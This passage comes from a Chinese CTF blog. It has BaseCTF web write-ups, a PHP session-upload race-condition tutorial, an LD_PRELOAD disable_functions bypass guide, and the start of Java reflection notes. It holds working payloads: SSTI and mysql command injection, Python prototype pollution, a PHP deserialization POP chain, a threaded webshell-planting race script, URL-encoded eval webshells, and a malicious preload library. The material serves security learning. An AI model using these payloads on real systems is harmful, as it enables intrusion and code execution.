            response_time = end_time - start_time
            if response_time>1:
                print(flag + c)
                flag += c
                break
        except:
            print("Request failed")
            continue

[Fin] 1z_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧？
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
    for ($i=0;$i<strlen($emp);$i++){
        if (ctype_alpha($emp[$i])){
            die("你不是hacker？那请去外场等候！");
        }
    }
    echo "只有真正的hacker才能拿到flag！"."<br>";

    if (preg_match('/.+?HACKER/is',$try)){
        die("你是hacker还敢自报家门呢？");
    }
    if (!stripos($try,'HACKER') === TRUE){
        die("你连自己是hacker都不承认，还想要flag呢？");
    }

    $a=$_GET['a'];
    $b=$_GET['b'];
    $c=$_GET['c'];
    if(stripos($b,'php')!==0){
        die("收手吧hacker，你得不到flag的！");
    }
    echo (new $a($b))->$c();
}
else
{
    die("114514到底是啥意思嘞？。？");
}
# 觉得困难的话就直接把shell拿去用吧，不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

这里直接提交shell没用，但是最后出的时候调用又可以

首先注意参数的合法，需要将第一个改为[才可以不让后面的.解析为

这里第一个if有两个绕过方法

1
2
?e[m.p=0337522 //这个通过八进制绕过 或者 
?e[m.p=114514.2 //通过小数绕过

后面这两个if有些矛盾，如果想直接绕过很困难，先分析一下

1
2
preg_match('/.+?HACKER/is',$try)//这里通过匹配多个字符在HACKER前面，忽略大小写和通过多行匹配，这里如果HACKER前面没用字符就不会匹配成功
!stripos($try,'HACKER') === TRUE //这里就是如果HACKER在最开始的位置出现就为true

后面的stripos没有办法绕过，但是前面的正则可以通过正则回溯来进行绕过

1
2
3
4
5
6
7
8
import requests
url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522'
data = {
    'try': 'aaaa' * 250001 + 'HACKER'
}

r = requests.post(url=url, data=data).text
print(r)

最后面就是一个原生类调用

1
2
3
4
5
6
7
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
if(stripos($b,'php')!==0){
    die("收手吧hacker，你得不到flag的！");
}
echo (new $a($b))->$c();

这里需要调用类的一个方法，可以想到通过fgets来读取文件

1
2
3
4
5
6
7
8
9
10
&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets
import requests

url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'
data = {
    'try': 'aaaa' * 250001 + 'HACKER'
}

r = requests.post(url=url, data=data).text
print(r)

解码即可

这里也可以再提交shell来rce,但是还得构造好payload之后，真的不知道原来干嘛的

1
2
3
4
5
6
7
8
9
10
import requests

url = 'http://challenge.basectf.fun:49472/?e[m.p=0337522&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=fgets'
data = {
    'try': 'aaaa' * 250001 + 'HACKER',
    'shell':"system('cat f*');"
}

r = requests.post(url=url, data=data).text
print(r)

[Fin] Jinja Mark

在/index下有一个输入框，当尝试去进行ssti时就出现提示

但是当打开/magic时就需要通过post提交什么东西

先去/flag中看看

这里就可能需要我们去进行爆破的lucky_number，直接通过bp来进行爆破就可以的lucky_number

这里就是5346，提交之后就得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            return "这个魔术还行吧"
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"

这里可以看到BLACKLIST_IN_index = [‘{‘,’}’]，这里就禁用了{}所以直接ssti就有问题，很明显想让我们通过原型链污染来将其污染掉，其实也挺简单，可能/magic就是污染的地方，将上传的地方改为json再进行上传即可

1
2
3
4
5
6
7
{
    "__init__":{
        "__globals__":{
            "BLACKLIST_IN_index":""
        }
    }
}

最后就是在index中进行简单的ssti即可

1
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

这里再讲一个非预期解，其实这里还是可以通过第一个原型链污染的方法污染静态代码目录来读取flag，和第一个的一样

1
2
3
4
5
6
7
8
9
{
    "__init__":{
        "__globals__":{
            "app":{
                "_static_folder":"./"
            }
        }
    }
}

最后访问/static/flag即可

[Fin] Lucky Number

这个直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
你不会以为这里真的有flag吧？
想要flag的话先提交我的幸运数字5346
但是我的主人觉得我泄露了太多信息，就把我的幸运数字给删除了
但是听说在heaven中有一种create方法，配合__kwdefaults__可以创造出任何事物，你可以去/m4G1c里尝试着接触到这个方法
下面是前人留下来的信息，希望对你有用
from flask import Flask,request,render_template_string,render_template
from jinja2 import Template
import json
import heaven
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
        pass

instance = cls()

BLACKLIST_IN_index = ['{','}']
def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

@app.route('/m4G1c',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            result = heaven.create()
            message = result["message"]
            return "这个魔术还行吧
" + message
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"


#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
    if confirm and "lucky_number" not in create.__kwdefaults__:
        return {"message": "嗯嗯，我已经知道你要创造东西了，但是你怎么不告诉我要创造什么？", "lucky_number": "nope"}
    if confirm and "lucky_number" in create.__kwdefaults__:
        return {"message": "这是你的lucky_number，请拿好，去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

    return {"message": "你有什么想创造的吗？", "lucky_number": "nope"}

也是一个原型链污染，具体污染什么可以直接通过源码看

1
2
3
4
5
6
7
8
9
#heaven.py

def create(kon="Kon", pure="Pure", *, confirm=False):
    if confirm and "lucky_number" not in create.__kwdefaults__:
        return {"message": "嗯嗯，我已经知道你要创造东西了，但是你怎么不告诉我要创造什么？", "lucky_number": "nope"}
    if confirm and "lucky_number" in create.__kwdefaults__:
        return {"message": "这是你的lucky_number，请拿好，去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}

    return {"message": "你有什么

可以看到在heaven.py里面有一个函数就是create里面有两个if需要绕过

第一就是confirm参数为true，其次luckynumber在create._kwdefaults(这个就是create函数关键字参数的默认值的字典)中，这里就是我们的幸运数字，题目直接给了

思路还是一样通过获取全局属性进行修改函数里面kwdefaults的值即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
    "__init__":{
        "__globals__":{
            "heaven":{
                "create":{
                    "__kwdefaults__":{
                        "confirm":"True",
                        "lucky_number":"5346"
                    }
                }
            }
        }
    }
}

最后查看/check给出一个/ssSstTti1最后通过ssti来得flag

1
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}

这里还是有一个非预期解直接通过静态目录污染即可，我感觉这里是出题人的疏忽吧

1
2
3
4
5
6
7
8
9
{
    "__init__":{
        "__globals__":{
            "app":{
                "_static_folder":"./"
            }
        }
    }
}

再访问/static/flag

[Fin] RCE or Sql Inject

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
    die("你知道的，不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
    die("你知道的，不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);

这里将sql注入又进行了过滤，所以使用sql注入就不可能了

这里就需要通过rce来读取flag，题目是一个比较冷门的考点，mysql命令行程序的命令执行，常见于mysql有suid时的提权

1
2
%0asystem whoami //这样通过换行符来执行命令
%0asystem export //通过环境变量读flag

[Fin] ez_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php 
highlight_file(__file__); 
function substrstr($data) 
{ 
    $start = mb_strpos($data, "["); 
    $end = mb_strpos($data, "]"); 
    return mb_substr($data, $start + 1, $end - 1 - $start); 
} 

class Hacker{ 
    public $start; 
    public $end; 
    public $username="hacker"; 
    public function __construct($start){ 
        $this->start=$start; 
    } 
    public function __wakeup(){ 
        $this->username="hacker"; 
        $this->end = $this->start; 
    } 

    public function __destruct(){ 
        if(!preg_match('/ctfer/i',$this->username)){ 
            echo 'Hacker！'; 
        } 
    } 
} 

class C{ 
    public $c; 
    public function __toString(){ 
        $this->c->c(); 
        return "C"; 
    } 
} 

class T{ 
    public $t; 
    public function __call($name,$args){ 
        echo $this->t->t; 
    } 
} 
class F{ 
    public $f; 
    public function __get($name){ 
        return isset($this->f->f); 
    } 

} 
class E{ 
    public $e; 
    public function __isset($name){ 
        ($this->e)(); 
    } 

} 
class R{ 
    public $r; 

    public function __invoke(){ 
        eval($this->r); 
    } 
} 

if(isset($_GET['ez_ser.from_you'])){ 
    $ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}'); 
    if(preg_match("/\[|\]/i", $_GET['substr'])){ 
        die("NONONO!!!"); 
    } 
    $pre = isset($_GET['substr'])?$_GET['substr']:"substr"; 
    $ser_ctf = substrstr($pre."[".serialize($ctf)."]"); 
    $a = unserialize($ser_ctf); 
    throw new Exception("杂鱼~杂鱼~"); 
}

这个题看到一个pop链，就可以先去构造,需要注意的是这里需要绕过throw new Exception(“杂鱼~杂鱼~”); ，所以，这里就需要去提前触发Hacker里面的__destruct(),这里就可以通过php回收机制来进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Hacker{
    public $start;
    public $end;
    public $username="hacker";
}

class C{
    public $c;
}

class T{
    public $t;
}
class F{
    public $f;
}
class E{
    public $e;
}
class R{
    public $r;
}
$a = new Hacker();
$a->end = &$a->username;
$a->start = new C();
$a->start->c = new T();
$a->start->c->t = new F();
$a->start->c->t->f = new E();
$a->start->c->t->f->e = new R();
$a->start->c->t->f->e->r = 'system("ls");';
$b=array('1'=>$a,'2'=>null);
echo serialize($b);
//a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:2;N;}

序列化的结果在最后有一个i:2;，改为i:1，来提前触发__destruct()

1
a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

这里就已经完成第一步了，接下来就要看如何提交参数和进行逃逸

参数的合法可以直接将第一个改为[即可 ez[ser.fromyou 否则后面的.会被解析为

接下来就得开始字符串逃逸的操作，首先需要知道一点,可以查看对于比赛的题目来进行类似

https://chenxi9981.github.io/ctfshow_XGCTF_%E8%A5%BF%E7%93%9C%E6%9D%AF/#Web

1
2
3
每发送一个%f0abc，mb_strpos认为是4个字节，mb_substr认为是1个字节，相差3个字节
每发送一个%f0%9fab,mb_strpos认为是3个字节，mb_substr认为是1个字节，相差2个字节
每发送一个%f0%9f%9fa,mb_strpos认为是2个字节，mb_substr认为是1个字节，相差1个字节

这里如果直接将我们构造好的链子上传就变为了

1
O:6:"Hacker":3:{s:5:"start";s:214:"{{{a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:2;N;}}}}";s:3:"end";N;s:8:"username";s:6:"hacker";}

前面的其中的38个字符是没有用的，后面的可以不用管，会在序列化时被忽视，所以只需要将前面的去除即可

1
O:6:"Hacker":3:{s:5:"start";s:214:"{{{

最后面的payload就出来了

1
substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:13:"system("ls");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

最后面就直接去读flag即可

1
?substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab&ez[ser.from_you=a:2:{i:1;O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("cat /*");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}i:1;N;}

Posted on Edited on

相关链接：https://www.freebuf.com/articles/web/288430.html

这个一般是在文件上传题中发现无法上传成功，并且存在文件包含漏洞的时候就可以尝试是否存在条件竞争的条件

首先要进行条件竞争，就需要看以下.php.ini文件配置中的信息

1
2
3
4
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
1
2
3
4
session.upload_progress.enabled可以控制是否开启session.upload_progress功能
session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
session.upload_progress.prefix可以设置上传文件内容的前缀
session.upload_progress.name的值即为session中的键值

这里简单的分析一下

session.upload_progres.enabled = on可以将我们上传的文件的信息存储在session中，这里就要去了解如何初始化session和如何来将信息写入session的

php.ini中session.use_strict_mode选项默认是0，在这个情况下，用户可以自己定义自己的sessionid，例如当用户在cookie中设置sessionid=flag时，PHP就会生成一个文件sess_flag,一般文件的地址在tmp临时目录下，此时也就初始化了session，并且会将上传的文件信息写入到文件/tmp/sess_flag中去，具体文件的内容是什么，后面会写到。

然后session.upload_progress.cleanup = on代表文件上传完成之后文件内容会被清除，这样就导致无法存储我们构造的payload，所以我们在这里就需要条件竞争来帮组我们进行获取

具体是因为在创建session文件时，到session清除之前会有一定的时间差，这样如果把握好中间的时间就可以来进行我们的文件包含，从而触发payload

这里就通过ctfshow web82的的题目来进行实验

首先需要先有一个文件包含的地方,这里就是一个参数file来实现文件包含

先看看题目源码：

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['file'])){ 
    $file = $_GET['file']; 
    $file = str_replace("php", "???", $file); 
    $file = str_replace("data", "???", $file); 
    $file = str_replace(":", "???", $file); 
    $file = str_replace(".", "???", $file); 
    include($file); 
}else{ 
    highlight_file(__FILE__); 
}

一般的常见的session路径为/tmp 或 /var/lib/php/session目录下

这里的路径默认为/tmp/sess_PHPSESSID

这里没有一个上传的接口，就需要我们通过自己在本地来创造一个上传的接口这里要注意一下有关上传的参数name,这里的PHP_SESSION_UPLOAD_PROGRESS为包含的关键

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<body>
<form action="https://xxxxxx/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat f*'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

这个是文件包含的请求包

成功获取的报文是这样的

1
2
upload_progress_www-data
|a:5:{s:10:"start_time";i:1725970055;s:14:"content_length";i:368;s:15:"bytes_processed";i:368;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:8:"wjsc.php";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1725970055;s:15:"bytes_processed";i:368;}}}

可以看到返回的报文，www-data就是PHP_SESSION_UPLOAD_PROGRESS的代码执行，这里就可以来进行任意文件执行，但是如果一直这样跑就比较麻烦

可以直接通过python脚本来帮助我们来实现文件包含的条件竞争，采用多线程来实现条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding=utf-8
 
import io
import requests
import threading
sessid = 'exp'
data = {"cmd":"system('whoami');"}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'https://xxxxx.xx/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('test.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('https://xxxxx.xx/?file=/tmp/sess_'+sessid,data=data)
        if 'test.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()
 
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

Posted on Edited on

相关的文章链接：https://www.cnblogs.com/sandeepin/p/ld-preload-inject.html

首先介绍一下什么是LD_PRELOAD

LD_PRELOAD是一个环境变量，它允许你指定在程序启动之前需要预先加载（preload）的共享库（shared libraries）。当程序启动时，动态链接器（dynamic linker/loader）会首先加载这些通过LD_PRELOAD指定的库，然后才加载程序的其他依赖库。这可以用于拦截或修改程序的函数调用，实现诸如调试、性能分析、功能增强或替换原有库中的函数等目的。

这里就导致，如果我们在预先加载的库中写入危险命令就可以触发，一般的库都是以 .so 结尾，并且为c语言写的，需要将一个.c文件进行编译后生成一个共享库在将其设置为LD_PRELOAD默认的即可

这里有一个例子：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//首先创建一个 1234.c 是一个c语言生成随机数
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
  srand(time(NULL));
  int i = 10;
  while(i--)
      printf("%d\n", rand()%100);
  return 0;
}

//再创建一个 1111.c 让它返回固定的值
int rand() {
    return 42;
}

在kali中来进行编译执行：

1
gcc ./1234.c -o 1234 //将1234.c编译为一个可执行文件1234

可以看到编译成功了，现在就可以执行，应该不出所料为10个随机数，下面就可以开始实验

1
gcc -shared -fPIC 1111.c -o 1111.so //将1111.c编译为一个共享库

现在就是去修改LD_PRELOAD默认的数据

1
2
3
LD_PRELOAD=$PWD/1111.so ./1234 //这样就先当于在运行1234前动态加载1111.so，但下一次就不会了
export LD_PRELOAD=$PWD/1111.so //这里就先当于设置了全局环境变量，对所有都有约束
unset LD_PRELOAD  //这个就可以恢复最初的

这样就变为我们控制的值，相当于它加载的rand函数被调包了，调用成我们生成的1111.so中的rand函数，这样就可以实现控制

这里可以提供一个命令看看其执行时用于打印程序或者库文件所依赖的共享库列表

1
ldd 1234

这里还有很多的例子，比如我们知道一个命令它会调用什么库，我们可以先进行拦截，最后在进行额外的操作这里也有一个实验，但是做法都一样,通过重写其中的一个函数来实现危险的方法调用

首先先确定其调用的函数，这里是通过ls命令为例子，其它的命令也是一样，在ls命令中就存在一个比较特殊的函数strncmp

1
2
readelf -Ws /usr/bin/ls //这样可以查找ls在调用时会调用哪些API 
readelf -Ws /usr/bin/ls|grep strncmp //查看是否ls命令调用该函数

这里获取其strncmp的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>

int strncmp(const char *s1, const char *s2, size_t n)  
{
    while(n && *s1 && *s2) 
    {
        if(*s1 != *s2)
            return (unsigned char)*s1 - (unsigned char)*s2;
        s1++;
        s2++;
        n--;
    }
   
    if(!n)  
        return 0;
    if(*s1)
        return 1;
    if(*s1 == *s2 )
        return 0;
    return -1;
}

函数的原型，这里如果要进行重写就要确保函数的参数相同不然就可能报错，从而实验不成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
void payload() {
    printf("hello i am haker!!!\n");
}
 
int strncmp(const char *s1, const char *s2, size_t n) {
    if (getenv("LD_PRELOAD") == NULL) { 
        return 0;
    }
    unsetenv("LD_PRELOAD");
    payload();
}
1
2
3
4
getenv //用于从环境变量中取字符串，即获取环境变量的值
putenv //用于改变或增加环境变量的内容。在C语言中，putenv函数接受一个格式为name=value的字符串，如果该环境变量已存在，则更新其值；如果不存在，则添加该环境变量。
setenv //是putenv的一个更安全的替代品，因为它允许指定是否覆盖已存在的环境变量，并且不会修改传入的字符串。
unsetenv  //用于删除指定的环境变量。

这里就可以在执行ls命令时输出hello i am haker!!!，当然在这里我们也可以来执行危险函数,只需修改payload里面的内容即可

这里还有一个用途，通过attribute来进行LD_PRELOAD劫持

GCC 有个 C 语言扩展修饰符 attribute((constructor))，可以让由它修饰的函数在 main() 之前执行，一旦某些指令需要加载动态链接库时，就会立即执行它

1
2
3
4
5
6
7
8
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    printf("i am hacker!!\n");  //这里可以进行修改
}

可以看到所有的命令执行都触发了危险的函数

最后就是通过LD_PRELOAD劫持来绕过Disable_Functions

在有些时候就会出现，我们没有办法读取通过命令来执行读取flag的操作就可以试试LD_PRELOAD劫持来实现命令读取，具体也是一样，一般步骤都是一样的，但是需要执行 这个修改LD_PRELOAD的语句有点难，一般就是通过php文件包含来实现，通过php代码来实现这个操作

export LD_PRELOAD=$PWD/1111.so 再配合你所写的.so文件即可

php文件里面我还是推荐统一的写法，通过执行php文件里面的内容就可以修改环境，但是要先有这个文件，还有需要注意的一点就是该文件是由权限访问的，所以就需要我们将它放置在tmp目录下最好

1
2
3
4
5
<?php
putenv("LD_PRELOAD=/var/tmp/1222.so");
mail("","","","");
error_log("",1,"","");
?>

.so文件的内容，就可以自己选择，通过上面的方法，但是还是推荐最后一个，因为它可以在任意命令执行前进行执行

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("ls / >> /var/tmp/test.php");
        
}   
__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    payload();
}

这里就有一个配套的练习

[极客大挑战 2019]RCE ME

直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['code'])){
   $code=$_GET['code'];
       if(strlen($code)>40){
             die("This is too Long.");
       }
       if(preg_match("/[A-Za-z0-9]+/",$code)){
             die("NO.");
         }
   @eval($code);
}
else{
   highlight_file(__FILE__);
}
?>

很正常的无字母，这里先去构造一个phpinfo()看看有没有什么信息

1
2
3
4
5
6
7
<?php 
error_reporting(0);
$a='phpinfo';
$b=urlencode(~$a);
echo "?code=(~".$b.")();";
?>
//?code=(~%8F%97%8F%96%91%99%90)();

这里它过滤了很多的函数，直接进行命令就不太可能，需要进行绕过Disable_Functions，可以先通过木马连接蚁剑方便后序的操作

1
2
3
4
5
6
7
8
9
<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo "?code=(~".$b.")(~".$d.");";
//?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
?>

连接成功，这里有两个flag，第一个打开什么都没有，第二个是readflag一个可执行文件，但是无法正常执行，这里需要绕过disable_functions才可以正常的获得flag

可以通过蚁剑的插件来进行绕过，这里就不多讲了

现在通过LD_PRELOAD劫持来实现，需要先创建两个文件

一个php文件

1
2
3
4
5
<?php
putenv("LD_PRELOAD=/var/tmp/1222.so");//这里改为对应文件即可
mail("","","","");
error_log("",1,"","");
?>

一个c语言文件

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
        system("cat /flag >> /var/tmp/test.php");
        system("tail /flag >> /var/tmp/test.php");
        system("/readflag >> /var/tmp/test.php");
        
}   
__attribute__ ((__constructor__)) void preload (void){
    unsetenv("LD_PRELOAD");
    payload();
}

再通过kali将.c文件编译为.so文件进行上传即可

最后通过一句话木马来进行文件包含即可

1
2
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
1=include("/var/tmp/shell1.php");

最后就可以看到该目录多一个test.php，再打开就可以的flag

Posted on Edited on

反射

在我看来java是反射机制，带来更广的攻击面，比如：获取属性，修改属性值，调用方法之类的，这样就使得利用空间更大了

动态与静态语言

动态语言 就是在运行时可以改变其结构的语言：例如新的函数、对象、甚至代码可以被引进，已有的函数可以被删除或是其他结构上的变化。通俗点说就是在代码运行时代码可以根据某些条件改变自身结构。

静态语言 与动态语言相对应，运行时结构不可变的语言就是静态语言。

Java不是动态语言，但Java可以称之为”准静态语言”。即Java有一定的动态性，我们可以利用反射机制获得类似动态语言的特性。java的动态性让编程的时候更加灵活

反射机制(Reflection)

Reflection(反射)是Java被视为动态语言的关键，反射机制允许程序在执行期借助Reflection API取得任何类的内部信息，并且直接操作任意对象的内部属性及方法、

1
Class c =Class.forName("java.a=lang.String")//需要抛出异常

流程

加载完类以后，在堆内存的方法区中就会产生一个Class类型的对象(一个类只有一个Class对象)，这个对象就包含了一个完整的类的结构信息。我们可以通过这个对象看到类的结构。这个对象就像一面镜子，透过这个镜子看到类的结构，所以，我们现象的称之为：反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package reflection;

//什么叫反射
public class day1 {
    public static void main(String[] args) throws ClassNotFoundException {
        //通过反射获取类的Class对象
        Class s1=Class.forName("reflection.test");
        System.out.println(s1);
        Class s2=Class.forName("reflection.test");
        Class s3=Class.forName("reflection.test");

        //一个类在内存中只有一个Class对象
        //一个了被加载后，类的整个结构都会被封装在Class对象中
        System.out.println(s1.hashCode());//1915910607
        System.out.println(s2.hashCode());//1915910607
        System.out.println(s3.hashCode());//1915910607
    }
}

//实体类：pojo entity
class test{
    private String name;
    public int age;
    private int id;

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge() {
        return age;
    }
    public void setAge(int age) {
        this.age = age;
    }
    public int getId() {
        return id;
    }
    public void setId(int id) {
        this.id = id;
    }
    @Override
    public String toString() {
        return "test{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", id=" + id +
                '}';
    }
}

几种常用获取Class的方法

有三种的形式

1
2
3
Class c =Class.forName("java.a=lang.String")//需要抛出异常 throws ClassNotFoundException
Class c1=person.getClass();
Class c2=类名.class;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package reflection;

public class day2 {
    public static void main(String[] args) throws ClassNotFoundException {
        Person aa=new student();
        System.out.println("this is "+aa.name);

        //获取Class的几种方法
        //方法一 通过对象获得
        Class c1=aa.getClass();
        System.out.println("c1.hashCode()="+c1.hashCode());
        //方法二 通过forname获得
        Class c2=Class.forName("reflection.student");
        System.out.println("c2.hashCode()="+c2.hashCode());
        //方法3 通过类名.Class获得
        Class c3=student.class;
        System.out.println("c3.hashCode()="+c3.hashCode());
        //方法4 通过内置的 TYPE来获得 有局限
        Class c4=Integer.TYPE;
        System.out.println(c4);
        /*输出
        this is student
        c1.hashCode()=284720968
        c2.hashCode()=284720968
        c3.hashCode()=284720968
        int
        **/
        //获得父类类型
        Class c5=c1.getSuperclass();
        System.out.println(c5);//输出  class reflection.Person
    }
}
class Person{
    String name;
    public Person(String name){
        this.name = name;
    }
    public Person(){
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                '}';
    }
}
class teacher extends Person{
    public teacher(){
        this.name="teacher";
    }
}
class student extends Person{
    public student(){
        this.name="student";
    }
}

java类加载内存分析

在Java中的内存分为三个部分，栈 堆 方法区

类的加载过程

类的加载（Load） 类加载器完成将类的class文件读入内存并创建java.lang.Class对象操作。

类的链接（Link） 将类的二进制数据合并进JRE，在合并的过程中可以对类进行校验，检查其是否存在安全问题，是否符合JVM语法规范，接着为类变量（static）分配内存和设置默认初始值，这些内存在方法区中进行分配。最后在虚拟机中将常量名替换为引用地址。

